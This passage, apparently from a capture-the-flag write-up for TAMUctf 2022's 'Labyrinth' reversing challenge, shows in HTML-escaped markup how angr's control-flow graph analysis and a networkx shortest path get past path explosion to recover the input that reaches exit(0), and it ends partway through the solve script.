&lt;p&gt;Now we&#39;ll try some good ol&#39; angr &lt;code&gt;explore()&lt;/code&gt; and see what turns up.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;state &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;factory&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;entry_state&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;start_addr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Construct the state when we &quot;start&quot; the executable at `start_addr`.&lt;/span&gt;
simgr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;factory&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;simgr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;state&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Get a simulation manager. This will... manage our simulations.&lt;/span&gt;
simgr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;explore&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;find&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;tar_addr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# GOGOGO!!!&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;explore()&lt;/code&gt; is the most straightforward command in angr. With the &lt;code&gt;find=tar_addr&lt;/code&gt; parameter, we tell &lt;code&gt;explore()&lt;/code&gt; to &lt;em&gt;simulate&lt;/em&gt; and &lt;em&gt;look for&lt;/em&gt; states which will execute the instruction at &lt;code&gt;tar_addr&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&quot;path-explosion&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-labyrinth/#path-explosion&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Path Explosion&lt;/h4&gt;
&lt;p&gt;Unfortunately, this takes forever to run due to &lt;em&gt;path explosion&lt;/em&gt;. Notice how the control flow makes the paths diverge in one of the binaries:&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Paths go boom.&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-graph-1196w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-graph-1196w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1196 / 626&quot; alt=&quot;Example diagram of path explosion.&quot; title=&quot;Paths go boom.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-graph-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-graph-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-graph-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-graph-1196w.webp 1196w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1196px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Now angr is pretty smart, but not too smart. angr will simulate all paths and if it encounters a branch, it will simulate both branches together. However, it will treat the &lt;code&gt;function_133&lt;/code&gt; branches as separate states...&lt;/p&gt;
&lt;p&gt;To get a more concrete view of paths exploding, Gru tried calling &lt;code&gt;simgr.run(n=50)&lt;/code&gt;—which simulates 50 steps...&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Good going, Gru!&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-gru-700w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-gru-700w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 700 / 449&quot; alt=&quot;Gru explains his plan to avoid path explosion. (not)&quot; title=&quot;Good going, Gru!&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-gru-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-gru-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-gru-700w.webp 700w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 700px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;90 active states is quite a lot! Usually we&#39;d want to limit ourselves to around 10 active states to ensure good simulation speed.&lt;/p&gt;
&lt;p&gt;With 50 steps and already 90 active states, the situation is pretty dismal. We&#39;ll need to find a better way of getting to the target address.&lt;/p&gt;
&lt;h4 id=&quot;cfgs-to-the-rescue&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-labyrinth/#cfgs-to-the-rescue&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; CFGs to the Rescue&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Control flow graphs&lt;/strong&gt; (CFGs) are directed graphs where nodes are blocks of code and edges indicate the direction the code can take. By translating the program into a graph, we can utilise the many graph algorithms at our disposal. In particular, we&#39;re interested in the &lt;em&gt;shortest path between a start node and target node&lt;/em&gt;.&lt;/p&gt;
&lt;div class=&quot;center rw mb-2  lightbox-gallery&quot;&gt;
&lt;a class=&quot;&quot; title=&quot;Path explosion 1.&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-1-577w.webp&quot;&gt;&lt;img class=&quot;jw-30 multi&quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-1-577w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 577 / 433&quot; alt=&quot;Path explosion 1.&quot; title=&quot;Path explosion 1.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-1-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-1-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-1-577w.webp 577w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 577px&quot; /&gt;&lt;/a&gt;
&lt;a class=&quot;&quot; title=&quot;Path explosion 2.&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-2-577w.webp&quot;&gt;&lt;img class=&quot;jw-30 multi&quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-2-577w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 577 / 433&quot; alt=&quot;Path explosion 2.&quot; title=&quot;Path explosion 2.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-2-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-2-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-2-577w.webp 577w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 577px&quot; /&gt;&lt;/a&gt;
&lt;a class=&quot;&quot; title=&quot;Path explosion 3.&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-3-577w.webp&quot;&gt;&lt;img class=&quot;jw-30 multi&quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-3-577w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 577 / 433&quot; alt=&quot;Path explosion 3.&quot; title=&quot;Path explosion 3.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-3-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-3-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-3-577w.webp 577w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 577px&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;angr comes with a bundle of analysis modules; these include two CFG analysis strategies: &lt;code&gt;CFGFast&lt;/code&gt; and &lt;code&gt;CFGEmulated&lt;/code&gt;. The former analyses the program statically (without actually simulating the code!), whereas the latter analyses the program dynamically (i.e. by simulating the code).&lt;/p&gt;
&lt;p&gt;Since the labyrinth elf only contains simple if-statements and function calls, and no obfuscation or complicated redirection whatsoever, we can construct a CFG statically!&lt;/p&gt;
&lt;p&gt;Working with graphs and nodes in angr is fairly straightforward. angr CFGs are just instances of &lt;code&gt;networkx&lt;/code&gt; graphs (a python graph library), so we&#39;ll need to import it to use its handy &lt;code&gt;shortest_path&lt;/code&gt; function.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Construct a CFG from the 1000 functions. &lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Restrict analysis to the relevant region to save time.&lt;/span&gt;
region &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x401155&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x400000&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; elf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;__libc_csu_init&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
cfg &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;analyses&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CFGFast&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;regions&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;region&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Get networkx nodes for start and target addresses in CFG.&lt;/span&gt;
src_node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cfg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;model&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_any_node&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;start_addr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; anyaddr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
tar_node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cfg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;model&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_any_node&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tar_addr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; anyaddr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Ensure nodes exist. shortest_path works differently if a node is None.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; src_node &lt;span class=&quot;token keyword&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;and&lt;/span&gt; tar_node &lt;span class=&quot;token keyword&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Construct the shortest path from src to tar. This will be a list of CFGNodes.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; networkx &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; shortest_path
path &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; shortest_path&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cfg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;graph&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; src_node&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; tar_node&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Now that we have a direct sequence of nodes from &lt;code&gt;main&lt;/code&gt; to our &lt;code&gt;exit(0)&lt;/code&gt; function, we just need to guide angr&#39;s simulation manager along the path, function-by-function.&lt;/p&gt;
&lt;!-- But there&#39;s one more thing we should take care of. Our path is currently a path of blocks, not functions. To make the exploration consistent of stepping through functions, we&#39;ll group the  --&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Walk through the rest of the path.&lt;/span&gt;
state &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;factory&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;blank_state&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;start_addr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; node &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Let the simulator engine works its magic.&lt;/span&gt;
    simgr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;factory&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;simgr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;state&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    simgr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;explore&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;find&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;addr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;simgr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;found&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;# Keep the found state for next iteration.&lt;/span&gt;
    state &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; simgr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;found&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Our last step is to get the input used. angr&#39;s constraint solver should have it figured out.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Get input which will get us from main to exit(0).&lt;/span&gt;
chain &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; state&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;posix&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dumps&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; chain&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;On my computer, this solve process takes roughly 30-40 seconds... which is good enough, since it falls within the allotted time of one minute per solve. Putting it together with the solver template and running it, the server kindly hands us the flag!&lt;/p&gt;
&lt;h3 id=&quot;solve-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-labyrinth/#solve-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve Script&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; angr &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; networkx &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; shortest_path
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; pwn &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;elf&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Project&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    elf &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ELF&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Find target address.&lt;/span&gt;
    start_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x4011b3&lt;/span&gt;
    tar_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x4011c8&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Construct a CFG from the 1000 functions.&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Restrict analysis to the relevant region to reduce time.&lt;/span&gt;
    region &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x401155&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x400000&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; elf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;__libc_csu_init&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    cfg &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;analyses&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CFGFast&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;regions&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;region&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Get networkx nodes for start and target addresses in CFG.&lt;/span&gt;
    src_node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cfg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;model&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_any_node&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;start_addr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; anyaddr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    tar_node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cfg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;model&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_any_node&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tar_addr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; anyaddr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Ensure nodes exist. shortest_path works differently if a node is None.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; src_node &lt;span class=&quot;token keyword&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;and&lt;/span&gt; tar_node &lt;span class=&quot;token keyword&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Construct the shortest path from src to tar. This will be a list of CFGNodes.&lt;/span&gt;
    path &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; shortest_path&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cfg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;graph&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; src_node&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; tar_node&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Walk through the rest of the path.&lt;/span&gt;
    state &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;factory&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;blank_state&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;start_addr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; node &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# Let the simulator engine works its magic.&lt;/span&gt;
        simgr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;factory&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;simgr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;state&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        simgr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;explore&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;find&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;addr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;simgr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;found&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
        
        &lt;span class=&quot;token comment&quot;&gt;# Keep the found state for next iteration.&lt;/span&gt;
        state &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; simgr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;found&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Get input which will get us from main to exit(0).&lt;/span&gt;
